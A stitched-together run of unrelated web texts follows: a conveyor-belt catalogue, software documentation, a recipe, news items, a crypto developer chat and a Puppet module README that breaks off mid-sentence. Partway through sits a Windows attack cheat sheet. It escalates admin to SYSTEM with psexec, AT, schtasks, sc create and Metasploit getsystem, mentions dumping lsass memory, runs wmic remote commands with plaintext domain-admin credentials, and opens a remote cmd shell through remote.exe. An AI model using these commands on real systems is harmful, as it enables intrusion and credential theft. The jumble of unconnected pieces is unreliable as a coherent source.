General purpose conveyor belts specifically designed to withstand higher wear. The general purpose range of belts encompass three specific grades i.e. M-24, N-17 and SAR. The SAR belt is specially recommended for use in Port Handling facilities and Iron Ore Mines. The abrasion tests of the cover are conducted in line with the provisions of DIN 53516. Special wear resistant covers with much lower loss due to abrasion can be formulated by CBC ondemand.
| Width | upto 7200mm |
|---|---|
| Length | upto 600 meter. Max.Dia 10 Feet |
| Ends | Open or Endless |
| Edges | Cut or Moulded/Locked |
| Fabric Reinforcement | 2 to 10 PLY in Polyester/Nylon (EP) Nylon/Nylon (NN), Cotton Nylon |
| Carcass Construction | Straight Ply/Stepped Ply Reverse Stepped Ply |
| Cover Grades | M-24, N-17, HRT-1, HRT-2, HRT-3, UHR,MEGATHERM, SAR, OR, FR,FRHR, Hygienic, ARB Super, Blend Grades |
| Rough Top Profiles / Chevron | Rough Top, V Cheat, U Cleat, etc |
| Cover Grades | AS PER: IS 1891 Pt I -V, DIN 22102:1991, ISO 340, Canadian Standard CAN/CSA/M-422/M87 |
Heat Resistant Conveyor Belts are manufactured by Calcutta Belt Centre in various grades to suit specific application areas. C-flex Heat Resistant Belts have found wide acceptance in Steel Plants (for handling Sinter and Coke) and Cement Plants (for handling Clinker) in addition to other areas of applications. As a rule, special heat resistant belts are required for transporting materials with a temperature of over 70°C. Materials of this type may consist of sinter, cement, moulding sand, coke etc. The service life of these belts depend not only on the temperature of the materials to be transported and on the construction of the belt but also on a number of other factors such as the wear properties of the materials, the fall during loading, the size of the material, the length of the belt, the speed of the conveyor and any chemical action which may be involved. Mutual discussion with CBC at pre-ordering stage would always ensure the best designed covers for specific installations.
| General Purpose | 60 to 80°C |
|---|---|
| HR-T1 | 100°C to 125°C |
| HR-T2 | 125°C to 150°C |
| HR-T3 | 150°C to 200°C |
| UHR | 200°C to 300°C |
| MEGA THERM | Up to 500°C |
The general-purpose rubber covers swell considerably in most oils. The reason for this is that the rubber polymers in these grades consist of pure hydrocarbons, as do most oils, and the oil is easily absorbed by the rubber. The rate of absorption increases with the temperature. C-flex specially designed Oil Resistant Belts are not affected by paraffin oil, naphthene-based oils, petrol animal or vegetable fats etc. and are suitable for transporting goods which contain oil.
Sporadic occurrences of fire hazards and concern for additional safety prompted CBC to design and manufacture C-flex Fire Retardant conveyor belts. C-flex FR grade Conveyor Belts have been extensively used in Thermal Power Plants & coal mines in India and Abroad. The Fire Retardant properties of the belt are determined invariably before dispatch, by Drum Friction Test, Electrical Resistance Test and Flame Test as per the provisions of various International Standards.
In the cement, mining, and many other industries, increasingly higher vertical
Conveying capacities are required. Bucket elevators are used to fulfill this need. A Bucket elevator
belt is a combination of high strength belting with buckets attached to it used to transport material
from a lower point to a higher point.
There are 2 bucket conveying systems:
Belt bucket elevator
These belts are ideal for operating in highly corrosive conditions like Potash
and Urea handling plants.
| Type | Abrasion | Tensile |
|---|---|---|
| Grade X | 120 | 25 |
| Grade W | 90 | 18 |
| Grade Y | 150 | 20 |
| Grade Z | 250 | 15 |
| Grade Super | 75 | 16 |
Included in the range are PVC-Nitrile belts which are specially designed for
installations with propensity for reverse throughing. Also included are CMR grades of Conveyor
Belts which have specific usage in Chemical and Fertilizer Plants, handling chemically reactive
materials. Similarly, CBC's specially designed Reversed Step-ply construction - Heat Resistant
C-flex conveyor belts have found wide acceptance on Submerged Ash Conveyors in various plants.
C-flex pipe conveyor belt for all types of bulk material handling such as cement,
coal, fertilizers, steel etc. The belt offer several advantages such as: Enclosed, clean and friendly
environment transportation eliminating all spillage, low noise, reduce structural cost also possible
in both horizontal and vertical planes.
Due to high inclinations, belts carrying flat packages could have slide-back
problems. Rough surface belts with profiles are offered for such applications. They have been
specially developed for Baggage Handling Systems, besides finding wide usage in Cement and
Fertilizers plants.
Features:
High tensile strength: Steel cord conveyor belt is suitable for
large span, long distance transportation of materials.
All C-Wall Cleats have been specifically design to give optimum performance. The shape of the ‘C’ and ‘TC’ types has been created to offer best conveying capacities along with excellent self-cleaning properties. C-Wall cleats are either of the extruded type for the smaller profiles, all larger cleats are moulded to give the best shape retention even when conveying high-density materials. Cleats are available in either 2.5m for moulded and 3m / 5m lengths for extruded profiles. Cleat profiles are shipped in non-returnable packing cartons, please refer to the price list for ordering details.
Since 1984 CBC has been committed to the development of the Sidewall Conveyor Belt
system. The launch of C-WallTM represents the latest developments in steep angle conveying using the
Sidewall Conveyor Belt System.
C-WallTM is the latest generation of Sidewall Conveyor Belts. The design of the new profiles and the
equipment used in the production is of the highest technical standards. New revised polyester fabrics
used in our range of cross stabilized base belts mean higher rigidity values with very low elongation
and newly developed rubber compounds for our Sidewalls and Cleats ensure they can withstand the high
stresses imposed in high capacity steep angle conveying.
The Sidewalls are produced from a high elasticity and high strength rubber compound and offer
excellent flexibility and therefore maximum flexing. The use of diagonal fabric for the reinforcement
within the Sidewalls ensures maximum elongation of the fabric at the flexing points as well as
increasing tensile strength, again increasing the life of the Sidewall.
The state of the art assembly lines installed for the belts ensure maximum quality standards and
higher productivity. The recently installed computer controlled roughening machine can precisely
roughen the base belt automatically and to an exact depth, important in ensuring maximum bond
strengths.
+91.22.6610 6000 |<EMAIL_ADDRESS>© 2021. Calcutta Belt Centre. All rights reserved. Sitemap. Site Created by Designscape


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java.util.logging Handler adapter for Ant.
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Ant task for ETL scripts execution.
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| EtlTaskBase |
Base class for Scriptella ETL Ant tasks.
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| EtlTemplateTask |
Task to emit ETL file templates.
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<taskdef resource="antscriptella.properties" classpath="scriptella.jar"/>
Note: Additional libraries required for ETL execution may also be appended to classpath:
<taskdef resource="antscriptella.properties" classpath="scriptella.jar;hsqldb.jar"/>
| Attribute | Description | Required |
|---|---|---|
| file | The script file to execute. The .etl.xml file extension part may be ommited. | Yes, unless a nested <fileset> element is used. |
| inheritAll | If true, pass all properties to ETL executor. Defaults to true . | No |
| debug | If true print debugging information. | No, default value is false. |
| nostat | If true turns off statistics collecting. | No, default value is false. |
| quiet | If true be extra quiet. | No, default value is false. |
| The following attributes are not supported yet | ||
| fork | if enabled triggers the class execution in another VM (disabled by default) | No |
| maxmemory | Max amount of memory to allocate to the forked VM (ignored if fork is disabled) | No |
<etl/>
Executes name.etl.xml file in the current directory:
<etl file="name" />
<!--Or explicitly specifying the full name-->
<etl file="name.etl.xml" />
Executes all .etl.xml files in db directory:
<etl>
<fileset dir="db" includes="*.etl.xml" />
</etl>
| Attribute | Description | Required |
|---|---|---|
| name | ETL template name. | No, default ETL template is generated. |
| inheritAll | If true, pass all properties to Scriptella. Defaults to true . | No |
| debug | If true print debugging information. | No, default value is false. |
| quiet | If true be extra quiet. | No, default value is false. |
<etl-template/>
Produce data migration template:
<property file="etl.properties"/>
<!--
Ant properties
driver,class,user,password
must be set before calling "DataMigrator" etl-template
-->
<etl-template name="DataMigrator"/>
Copyright © Copyright 2006-2019 The Scriptella Project Team.


For each level, you start with a specific amount of paper monies and number of lives. Use your paper monies to place towers on the stone build sites. Hold your mouse down over a placed tower to see its range.
Once you are ready, click 'Start' to call the enemies. Enemies will enter from the left and follow the brown path. You lose a life for any enemy that makes it to the right side of the board. If you lose all of your lives, you lose the game! You can replay a level if you lose, but you must win in order to move on to the next diffiulty or level.
Any time an enemy dies, you gain paper monies to build more towers. Each tower is slightly different, so you may need to try several strategies to get all of the enemies.

Shoots one enemy at a time and does moderate damage.
Shoots one enemy at a time and does high damage, but only shoots every 2 seconds.
Rapidly shoots one enemy in a very small range with little damage.
Shoots all enemies within range but does very little damage.


Gongora(Sorrel Leaves) Pickle
INGREDIENTS
- 7-8 bunches of gongura leaves red stem/sorrel leaves
- 1 tbsp oil
- Salt - to taste
- 2 tsp red chilli powder
- 1 medium size tomato chopped
- 2 tbsp coriander leaves
- 3-4 garlic cloves
- ½ cup water
- For Tempering:
- 3 tbsp oil
- ½ tsp urad dal(split black gram)
- ½ tsp chana dal(bengal gram/chick pea gram)
- ½ tsp cumin seeds
- 1 tsp finely chopped garlic
- 4-5 dried red chillies
- 5-6 curry leaves
PROCEDURE
- Firstly, take a cooking vessel or a pressure cooker.
Into it wash and add the gongura leaves, add salt, red chilli powder, turmeric powder, garlic cloves.
Also add green chillies, coriander leaves, chopped onion and chopped tomato.
- Add little oil, add little water(1/4th cup) and pressure cook until the leaves get soft or pressure cook for two whistles.
Reduce the steam, cool it and blend it into a paste or mash it well.
- For Tempering
- In a sauce pan, add oil and heat it.
Add urad dal, chana dal and saute.
Add mustard seeds, cumin seeds and let them splutter.
Add chopped garlic.
- Add dried red chillies and stir well.
Add curry leaves and when they give out a crackling sound transfer the tadka into the gongura chutney/ambada/ambadey ki chutney.
Cut onions into small cubes and mix in the chutney and enjoy it with hot hot rice!!!


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Save your data online safely and share them to get feedback from other people. xDCIShare provides convenient data uploading function and save data safely online. It also has access control ability to provide user with multiple ways of sharing their data and the corresponding metadata. Besides, the system provides the function of commenting on the shared data and models, so as to help user get constructive feedback from other people.
Get credit of your data and models when cited by others. Each data or model uploaded in the xDCIShare system is assigned citation information. What’s more, in the near future the system will provide a DOI for the data or models which are approved and published in the xDCIShare system.
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Collaborate with other people for hydrological research. xDCIShare provides the social media functionality to enhance collaboration for hydrologic research. User will be able to create or join the groups they have interests in. And the group will provide functions for collaborations among group members to share data and models, participate in discussions, and add group blogs.


Owners of £1.3million Rightmove house leaving everybody 'ill' speak out
The owners have spoken out over the viral nature of their home, which has set tongues wagging owing to the sheer amount of plug sockets it boasts.
by James Rodger, https://www.facebook.com/jamesrodgerjournalistThe owners of a £1.3million Rightmove home leaving everybody viewing it feeling "ill" have spoken out.
BirminghamLive's initial reporting of the listing on the property website has received hundreds of thousands of page views.
And, ever since a tweet highlighting the home went viral, the phone has been "ringing off the hook" at the estate agents, they say.
Now, the owners have spoken out over the viral nature of their home, which has set tongues wagging owing to the sheer amount of plug sockets it boasts.
Estate agents Andrew Pearce, who are selling the property, say phones have been 'ringing off the hook' since the tweet went viral.
But they also said the current owner bought the property with the sockets already in place five years ago and said that they also don't know why there's so many sockets.
Joe Prosser, who works at the firm, said: "This property has attracted over 330,000 views on Rightmove since it’s been mentioned on Twitter over the weekend.
"We have been inundated with enquires from both genuine buyers and inquisitive members of the public asking why so many sockets.
"Our client purchased the house in 2014 in its current form and commented that when furniture is in place the sockets are less visible.
"The client will address the removal of sockets should that form part of any negotiations with a perspective buyer.
"Despite some of the negative comments, the property is currently going through negotiations and we are anticipating a sale will be agreed shortly.
"We would encourage any genuine purchasers to get in touch as soon as possible."
When the property was previously listed for rent in 2017 the sockets were also visible on the photos - with one of the rooms being used for an office - with several items plugged in.


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ResumeChannel
Parameters:
| channel -- a music or sound channel previously allocated via LoadSound, PlayMusic, etc. |
Description:
| ResumeChannel is used to continue the playing of a sound sample or music track on the given channel after you have temporarily halted playback on that channel (via PauseChannel). |
Example (using ResumeChannel):
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Graphics 640, 480, 0, 2 musicchannel = PlayMusic ("oohyeahbaby.mp3") ; Replace with a music file on your hard drive! Repeat Print "Press a key to pause the music..." WaitKey PauseChannel musicchannel Print "Press a key to continue the music..." WaitKey ResumeChannel musicchannel Until KeyHit (1) End |


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Forex Today: focus on Trump and Boris’s manifesto
by FXStreet TeamHere is what you need to know Monday, November 25th:
- Trade tensions between the US and China and UK elections/Brexit remain as the main market motors. The dollar closed the week with a strong note amid robust local data and discouraging macroeconomic figures elsewhere.
- Stagnated EU manufacturing activity, and contracting services output weighed on the shared currency. EUR/USD barely holding above 1.1000.
- GBP/USD eased amid dismal manufacturing and services activity, although it held above a critical support, the 23.6% retracement of its October rally. Over the weekend, the UK PM, Boris Johnson, unveiled the Conservative Party’s manifesto, focused on moving on from Brexit and austerity, and pledging not to raise income taxes. The headlines are Pound-positive, although probably not enough to push the pair back to the 1.2900 region.
- UK polls continue showing an over 10 points lead of Conservatives over Labour.
- Gold came under selling pressure on Friday amid renewed trade deal hopes, after US President Trump said that a trade deal with China was "potentially very close." Chinese leader Xi-Jinping also made optimistic comments. Chances that a trade deal could be reached before year-end rose back.
- Equities recovered by the end of the week, although fell short of trimming early losses.
- Cryptocurrencies remained pressured throughout the weekend, poised to start the week in the red.


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Mary Jane (Morris) Latta (1837 - 1927)
By Betty Latta Kitchen
Momentos of the
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Veteran singer Lim Chang Jung's family welcomes 5th son, enough sons for a basketball team
by beansssVeteran singer Lim Chang Jung and his family welcomed a healthy baby boy - his 5th son - on the morning of October 9!
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Scratch is a programming language that makes it easy to create your own interactive stories, animations, games, music, and art -- and share your creations on the web.
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Dates: February 6 – Febuary 8, 2018
Invited Talks
SPEC PIs Dominika Zgid, So Hirata and Sotiris Xantheas present invited talks at the Triennial WATOC Congress held in Munich, Germany
Dates: August 27-September 1, 2017
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Dates: March 10 – 11, 2018
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Justice League: Danny Elfman Is Completely Confused by Snyder Cut Obsession
by John RidlehooverThe Snyder Cut obsession reached many of those involved with 2017's Justice League, though the film's composer Danny Elfman seemed a bit confused by the uproar.
"Well, the thing is, he never finished it. So, I don't know quite how they'd do that," Elfman told JOE. "He had a tremendous tragedy, which forced him to not finish the film."
Elfman elaborated on his confusion about the #ReleaseTheSnyderCut movement. "So, it wasn't like... I don't quite understand this, because it wasn't like he was fired, and that there is a Director's Cut that is a finished movie and that the studio fired him and then hired Joss."
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Danny Elfman replaced Junkie XL as the composer for Justice League when Joss Whedon took over as director for the film. Elfman has composed many films during his career, including The Nightmare Before Christmas, all four Men in Black films and all the Sam Raimi-directed Spider-Man movies.
Justice League is available digitally and on Blu-ray and DVD. The film stars Ben Affleck as Batman, Gal Gadot as Wonder Woman, Henry Cavill as Superman, Amy Adams as Lois Lane, Jason Momoa as Aquaman, Ezra Miller as The Flash, Ray Fisher as Cyborg, Jeremy Irons as Alfred Pennyworth, Diane Lane as Martha Kent, Ciarán Hinds as Steppenwolf, Jesse Eisenberg as Lex Luthor and J.K. Simmons as Commissioner Gordon.
KEEP READING: Justice League Stunt Team Backs Snyder Cut With Epic Fight Choreography
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main methods:
psexec
at
schtasks
Create/Start service
msf payload
If you are Admin, you can escalate to SYSTEM using various methods:
psexec.exe -i -s -d cmd.exe
The cool thing about AT jobs and scheduled tasks is that if you run them as "admin" they really get run as SYSTEM, so you can do neat stuff like dump lsass memory or get SYSTEM shells when the job executes your binary.
#Get current time
net use \\targetserver /user:DOM\user pass
net time \\targetserver
AT \\targetserver 12:00 /interactive cmd.exe
Schtasks
C:\sc create RunCMDAsLSA binpath= "cmd /k <cmd>" type= own type= interact
C:\sc start RunCMDAsLSA
Metasploit
getsystem -t 1
Note: This requires a meterpreter session
Binary replacement
1. stop service
2. replace binary
3. start service
wmic
smic /node:DC1 /user:DOMAIN\domainadminsvc /password:domainadminsvc123 process call create "cmd /c vssadmin list shadows 2>&1 > C:\temp\output.txt"
debugging cmd.exe
#start the debugging
at 13:37 C:\debuggers\remote.exe /s cmd SYSCMD
#connect to the debugger
C:\debuggers\remote.exe /c <IP_ADDRESS> SYSCMD
#NTSD can be used for this as well


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um, wondering if there are some ports I should be forwarding as my server is behind NAT
blackjok3r26-Oct-18 02:07 PM
17775 is the only port needed to be open dude
blackjok3r26-Oct-18 02:34 PM
Basic multiple blocks code to extract is done... no error checks yet, but I was able to send marketmaker into a blockchain, and then extract it and run it.
doing diff marketmaker marketmaker2 returned nothing.... so files are identical.
I am getting close where other people can start testing this btw... because I know exactly what to do I assume there will be bugs if things are not done exactly correctly.
I will be having 2 days off from tomorrow... might get a few hours to work on it tomorrow. Will try and get a readme up for others to test tonight before bed.
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@0x03 you said you were keen to test this.

ComputerGenie 👴👴👴26-Oct-18 03:14 PM
Alright26-Oct-18 03:15 PM
@blackjok3r can you let me know when you have pushing and retrieving arbitrary files working
I wanted to try pushing and retrieving a STAKED4 bootstrap(edited)
blackjok3r26-Oct-18 03:16 PM
its already working but I have a bug ... the RPC should be returnig the blockheight for the first TXID so you cna seek directly to the first block and retreive the file
Alright26-Oct-18 03:16 PM
Just about have the chat dapp ready for user testing
blackjok3r26-Oct-18 03:16 PM
It was working, I am thinking maybe to just return the block hash,
and then the dapp can just get the heght from getblock
seems a lot more reliable
one of those bugs that only happens sometimes,
blackjok3r26-Oct-18 04:38 PM
Fixed the blockheight issue
When code gets complicated with long if else staments... its easy to make something that works intermittantly(edited)
at least its working... Guess I should do the readme so @Alright can test it.
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Alright26-Oct-18 04:43 PM
sounds good
doing the readme for chat dapp right now lol
blackjok3r26-Oct-18 04:44 PM
ok cool. its like 1am here, but i'll do that before I go.
The only script not on git is the TxBlaster activation script ... but I will remove the txblaster parts so its just for this and push it.
oh wait.... the script that sends data does not itterate in chuncks yet ... thats not going to work for what you want to do
reads entire file into memory at once right now, which is not goign to work for large files
various scripts we have developed on STAKED so far, none of these are perfect and some might not even work. use them as examples of what you can do. - StakedChain/PoS_scripts
There is no error check in the sending script that the data your about to send is in the right order, but for testing this wont matter at all
if something fails it should just stop sending
This is not suituable for live streaming at this stage, but it lays the foundations to do that. Will be interesting to see how fast you can push a very large file through it. Also there is no mempool checks, likely that should be added into the send script, to wait adding to queue if mempool is over X size.(edited)
readme is poor, but Im sure @Alright can work it out.
2 am here... need some sleep.
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blackjok3r27-Oct-18 03:43 AM
apologies to anyone who tried to test that if they did, the script to start mm was missing
I am starting up a clean install of the sender stuff on a VPS in Sydney and will take a screen capture video of sending a reasonably large file to my house in WA.
daemonfox27-Oct-18 03:59 AM
That sounds fun
blackjok3r27-Oct-18 04:02 AM
getting it all set up is a process right now, needs a fair bit of work... but its nothing imposible.
Seems there might have been a small chunk of the file missing off the end, I need to investigate, however all the data in the TGZ extracted and was received ...
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blackjok3r27-Oct-18 04:35 AM
Worked for the most part, file either had some extra data at the end, or was missing a little bit, I am 99% sure thats just the python script I used to extract the data as sending smaller files didnt have that issue.
daemonfox27-Oct-18 01:03 PM
@blackjok3r That was awesome! Watching it on the explorer was crazy! So other than ensuring the EoF is not lost of corrupted... is there a significant performance hit on the end users node to display the incoming txes as the original file type, like a video stream?(edited)
blackjok3r27-Oct-18 03:02 PM
No its just the script I used needs all the stream to be there so it can find the end. Its designed to an app can use block notify to call the get data function
but each years pubkeys need to be there so it can sync KMD
dukeleto27-Oct-18 03:34 PM
src/komodo_notaries.h is the new file
@jl777c it contains all years addresses, the header file
and actually, only pubkeys and addrs on KMD, addrs on that chain are dynamically generated now
so yes, the coin updating KMD notaries must change the name of 1 variable in their code, in addition to copying the new file
I hope that is not too much
jl777c27-Oct-18 03:36 PM
ok, with a timestamp range check for each set of pubkeys
dukeleto27-Oct-18 03:36 PM
the goal is to avoid having people manually changing NN pubkeys in a file, when they could just copy a known-good + trusted file from KMD
jl777c27-Oct-18 03:36 PM
yes, good to do that
dukeleto27-Oct-18 03:37 PM
yes, your code uses timestamps to choose which set of notary pubkeys to use
if sha256(komodo_notaries.h) is the same value in latest KMD (i will have to send a PR to kmd) and an external coin, that is a good indication that all NN pubkeys are correct, nothing has been tampered with or accidentally broken. If they are not, something is wrong. It feels like a nice kind of sanity check to have.
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blackjok3r27-Oct-18 04:24 PM
I already made functions that separate timestamps there is a definable gap between each era and it was tested working. What I need to do is be able to fetch the arrays these functions use from an oracle and load them into the deamon, guess it would fetch it then restart before syncing. This allows adding an extra timestamp, or just a whole new set of keys for a new chain or chains, without having to recompile the code..
Maybe I'm over over thinking it, as usual and I'm sure a simple solution will become apparent when required
Alright28-Oct-18 08:19 AM
@LabsAssistant the STKDPIXY and STKDDUST chains are looking promising. MoMoM seems 100% on them. We are preparing for launch. Please add proposals or comments to my proposal here: http://pad.supernet.org/staked_proposals
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We are setting objective rules for the chain now. Please chime in
smk762 - dracocanis ominator28-Oct-18 08:21 AM
This is for the live real value chain?
Alright28-Oct-18 08:21 AM
yes, STAKED
real chain
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smk762 - dracocanis ominator28-Oct-18 08:35 AM
elected notaries 50/50 staked/op : this is what funds dev and hardware?
Alright28-Oct-18 08:38 AM
Hardware will need to be funded by notarizations funds weekly
CMaurice28-Oct-18 08:38 AM
@smk762 - dracocanis ominator what does '50 staked/op' mean? I would like to participate but have not done any notable work for STAKED
Alright28-Oct-18 08:38 AM
the KMD notaries are to fund the tx fee of notarization to KMD(edited)
blackjok3r28-Oct-18 08:38 AM
You made notarisations on testnet ?
Alright28-Oct-18 08:38 AM
please comment in pad
blackjok3r28-Oct-18 08:39 AM
50% staked means 50% of the notary nodes mined KMD goes to staked... and the operator gets the other half... likey this wont be exact and something like what a-team used, where server costs are taken out first so the node pay for itself is the way to go.
CMaurice28-Oct-18 08:40 AM
I see, thanks(edited)
blackjok3r28-Oct-18 08:41 AM
@smk762 - dracocanis ominator welcome aboard ... there are many ways to run a notary... if you dont want to ahve to do anything, you need to talk to @Deleted User about his lazynode... I was going to transaition a-team to it at soe point but it just hasnt happened lol.. testnet never seemed to eventuate
smk762 - dracocanis ominator28-Oct-18 08:41 AM
my only reservation is unreliable aussie internet. But I should be able to get something stable enough to communicate with something more reliable.
blackjok3r28-Oct-18 08:42 AM
My node is in Perth has 100% uptime
hosting fees are not bad, but I purchased server uo front
smk762 - dracocanis ominator28-Oct-18 08:42 AM
I dont mind learning. Nice to know lazy is there to fall back, but prefer to dig.
blackjok3r28-Oct-18 08:43 AM
Yeah its definalty better to build your own first time
thanks to @lukechilds there is assetchains.json althgouh a little mre simple that staked one
smk762 - dracocanis ominator28-Oct-18 08:43 AM
more exposure = more understanding = more chance of making something useful.


Akame_Ga_Kill!
Under the rule of a tyrannical empire, Tatsumi, a young swordsman, leaves his home to save his poverty stricken village. He meets a girl named Akame, an assassin who was bought, brainwashed and trained to kill by the Empire. Akame is a member of the secret assassin group called "Night Raid" who use special weapons called Teigu. Together, Tatsumi and the members of Night Raid confront the corrupt empire.


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Class CellularAutomataAreaGenerator
Implements a cellular automata genereation algorithm to add cave-like (unconnected) areas to a map. A connection algorithm would be needed to connect these areas. For automatic connection, see GoRogue.MapGeneration.QuickGenerators.CellularAutomata().
Inheritance
Inherited Members
Namespace: GoRogue.MapGeneration.Generators
Assembly: GoRogue.dll
Syntax
public static class CellularAutomataAreaGenerator
Remarks
Generates a map by randomly filling the map surface with floor or wall values (true and false respectively) based on a probability given, then iteratively smoothing it via the process outlined in the cited roguebasin article. After generate is called, the passed in map will have had a value of true set to all floor tiles, and a value of false set to all wall tiles. Based on the C# roguelike library RogueSharp's implementation, and the roguebasin article below: http://www.roguebasin.com/index.php?title=Cellular_Automata_Method_for_Generating_Random_Cave-Like_Levels. It is guaranteed that the "set" function of the ISettableMapView passed in will only be called once per tile, unless the type is ArrayMap of bool, in which case the operation is inexpensive and calling it multiples times costs little extra, and saves an internal allocation.
Methods
| Improve this Doc View SourceGenerate(ISettableMapView<Boolean>, IGenerator, Int32, Int32, Int32)
Generates the areas. Floor tiles will be set to true in the provided map, and wall tiles will be set to false.
Declaration
public static void Generate(ISettableMapView<bool> map, IGenerator rng = null, int fillProbability = 40, int totalIterations = 7, int cutoffBigAreaFill = 4)
Parameters
| Type | Name | Description |
|---|---|---|
| ISettableMapView<System.Boolean> | map | The map to fill with values when generate is called. |
| Troschuetz.Random.IGenerator | rng | The RNG to use to initially fill the map. If null is specified, the default RNG is used. |
| System.Int32 | fillProbability | Represents the percent chance that a given cell will be a floor cell when the map is initially randomly filled. Recommended to be in range [40, 60] (40 is used in the roguebasin article). |
| System.Int32 | totalIterations | Total number of times the cellular automata-based smoothing algorithm is executed. Recommended to be in range [2, 10] (7 is used on roguebasin article). |
| System.Int32 | cutoffBigAreaFill | Total number of times the cellular automata smoothing variation that is more likely to result in "breaking up" large areas will be run before switching to the more standard nearest neighbors version. Recommended to be in range [2, 7] (4 is used in roguebasin article). |


Tab Widget Example 1
Apples
No explicit default was set, so per standard functionality
this first tabpanel
will be shown by default.
Here's a link just to test keyboard tabbing.
(it's odd talking about tab
s, and tabs.)
Bananas
This is an example of a heading being used to populate the
tab
's label, while also not removing heading
from the tabpanel
. This is done by adding
the value "keep" to data-atabs-heading
.
Oranges are delicious and super great
The tab
is getting its label from the
data-atabs-tab-label
. The heading is
kept in the tabpanel
because it does
not have the data-atabs-heading
attribute.
This is also an example of why using data-atabs-tab-label
to define a tab
's label
can be preferred to using a heading or Table of Contents link. Shorter tab
labels work better
for these types of UI, rather than long headings / link labels.
Tab Widget Example 2
My default heading
The tab
for this tabpanel
is created from a
data-atabs-tab-label
attribute which is on the
data-atabs-panel
.
The tab
associated with this panel has it's own unique
class, beyond the default one set by the script. This is done
via the tabpanel
having the data-atabs-tab-class
with a single string value of the
class to add. For example "test-class".
Carrots
The data-atabs-panel
has the value "default", which results in this tabpanel
being opened by default.
While not necessarily condoned, this tabpanel
contains a separate Tab Widget instance.
Lettuce
Leafy and crunchy, unless it's old and mushy...
Ice cream, the default tabpanel
Not only is this Tab Widget nested within another, it also
has data-atabs-orientation="vertical"
set to the
widget wrapper. This attribute with the "vertical" value
will convert a tablist
to a stacked UI. aria-orientation="vertical"
will be
set to the tablist
. Up, down, left and right arrow keys will all still be used to navigate the
individual tab
s.
Mushrooms
Either gross or food. I don't get it.
tablist
will be repositioned to the top
of the Tab Widget container. And this message will be
deleted when the script runs. So if you're seeing this, hi!
Not default
This tabpanel
also has data-atabs-panel="default"
,
but as it is not the first tabpanel
with "default" as its value,
this one is ignored.


A lighter library for animation. No DOM abstraction, just animate your values with a cool easing. Agnostic, works fine on node server or web-workers.
Clone this repository and install its dependencies:
With npm:
npm install @solaldr/animate
With yarn:
yarn add @solaldr/animate
import animate from "@solaldr/animate";
// Start the main timeline
animate.start();
animate.add({
from: 0,
to: 1000,
duration: 5000, // default 1000 (ms)
timingFunction: "easeInOutQuad", // default "linear"
})
.on('progress', ({ value, advancement }) => {
// Easing value between 0 and 1000
console.log(value);
// Easing value between 0 and 1
console.log(advancement);
})
.on('end', () => {
// Triggered at the end of the anim
})
import animate, {Animation} from "@solaldr/animate";
animate.start();
animate.add(new Animation({
... options here
}))
You may want to use different Easing method inside the same animation
import animate, { Easing } from "@solaldr/animate";
animate.start();
// Default 1000ms interpolate from 0 to 1
animate.add().on('progress', ({ advancement }) => {
const myEasingValue = Easing.easeInQuad(advancement);
});
Use bezier functions
import animate, { Easing } from "@solaldr/animate";
import { Bezier } from<EMAIL_ADDRESS>animate.start();
const timingFunction = Bezier(0.25, 0.1, 0.28, 0.51)
animate.add({
timingFunction
});
and()
method allow you to run multiple animation at the same time
animate
.add({ from: 0, to: 100 }).on('progress', someProgressCB))
.and({ from: 100, to: 0}).on('progress', reverseProgressCB)
then()
method allow you to run chain animation
animate
.add({ from: 0, to: 100 }).on('progress', someProgressCB))
.then({ from: 100, to: 0}).on('progress', reverseProgressCB)
promise()
Use promise
async function() {
await animate.add({ from: 0, to: 100 })
.on('progress', someProgressCB))
.promise()
alert("Run after this animation")
}
import { Timeline } from "@solaldr/animate";
const timeline = new Timeline();
timeline.start();
timeline.add({ ... });
| Package | Version | Minified | Minified + GZIP |
|---|---|---|---|
| @solaldr/animate | 0.4.0 | 4.8 kB | 1.5 kB |
| animejs | 3.2.1 | 17.4 kB | 6.9 kB |
| gsap | 3.8.0 | 60.4 kB | 23.5 kB |
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The syntax of the blocking send operation is given below.
MPI_SEND(buf, count, datatype, dest, tag, comm)
[ IN buf] initial address of send buffer (choice)
[ IN count] number of elements in send buffer (nonnegative integer)
[ IN datatype] datatype of each send buffer element (handle)
[ IN dest] rank of destination (integer)
[ IN tag] message tag (integer)
[ IN comm] communicator (handle)
int MPI_Send(void* buf, int count, MPI_Datatype datatype, int dest, int tag, MPI_Comm comm)
MPI_SEND(BUF, COUNT, DATATYPE, DEST, TAG, COMM, IERROR)
<type> BUF(*)
INTEGER COUNT, DATATYPE, DEST, TAG, COMM, IERROR
The blocking semantics of this call are described in Sec. Communication Modes .


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Mumble module for Puppet
Table of Contents
- Overview
- Module Description
- Setup - The basics of getting started with puppet-mumble
- Usage - Configuration options and additional functionality
- Limitations - OS compatibility, etc.
- Development - Guide for contributing to the module
Overview
This module installs the Mumble VoIP server, murmurd.
It is in beta development and tested on Ubuntu 12.04 and 14.04.
Module Description
This module is intended for Ubuntu. If $ppa
is true, it adds either
the snapshot or release (depending on $snapshot
) Mumble PPA, then
installs mumble-server, configures it through a template, and starts
the service.
Get in touch
- IRC: #voxpupuli on irc.freenode.net (Freenode WebChat)
- Mailinglist<EMAIL_ADDRESS>(groups.io Webinterface)
Setup
What puppet-mumble affects
- Packages
mumble-server
libicu-dev
if$libicu_dev
(bugfix)
- PPAs
ppa:mumble/release
ppa:mumble/snapshot
- Services
mumble-server
- Files
/etc/mumble-server.ini
- User
mumble-server
- Group
mumble-server
Beginning with puppet-mumble
The simplest use of this module is:
include mumble
Usage
Generated puppet strings documentation with examples is available from https://voxpupuli.org/puppet-mumble/
It's also included in the docs/ folder as simple html pages.
This module has one class, mumble
, with the following
parameters:
$autostart = true, # Start server at boot
$ppa = false, # Install the PPA
$snapshot = false, # Use snapshot over release PPA
$server_password = '', # Supervisor account password
# The following parameters affect mumble-server.ini through a template
# For more info, see http://mumble.sourceforge.net/Murmur.ini
$register_name = 'Mumble Server',
$password = undef, # General entrance password
$port = 64738,
$host = '',
$user = 'mumble-server',
$group = 'mumble-server',
$bandwidth = 72000,
$users = 100,
$text_length_limit = 5000,
$autoban_attempts = 10,
$autoban_time_frame = 120,
$autoban_time = 300,
$database_path = '/var/lib/mumble-server/mumble-server.sqlite',
$log_path = '/var/log/mumble-server/mumble-server.log',
$allow_html = true,
$log_days = 31,
$ssl_cert = '',
$ssl_key = '',
$welcome_text = '
Welcome to this server running Murmur.
Enjoy your stay!
',
Note that the mumble-server package by default sets up a user and group named 'mumble-server', and so will be created additionally if the user and group are changed here.
More information about the configuraiton file's settings can be found in the Wiki.
The snapshot
parameter enables the use of the snapshot PPA, which as
of this writing, seems to fix the bug where libicui-dev was needed but
not a dependency.
The server_password
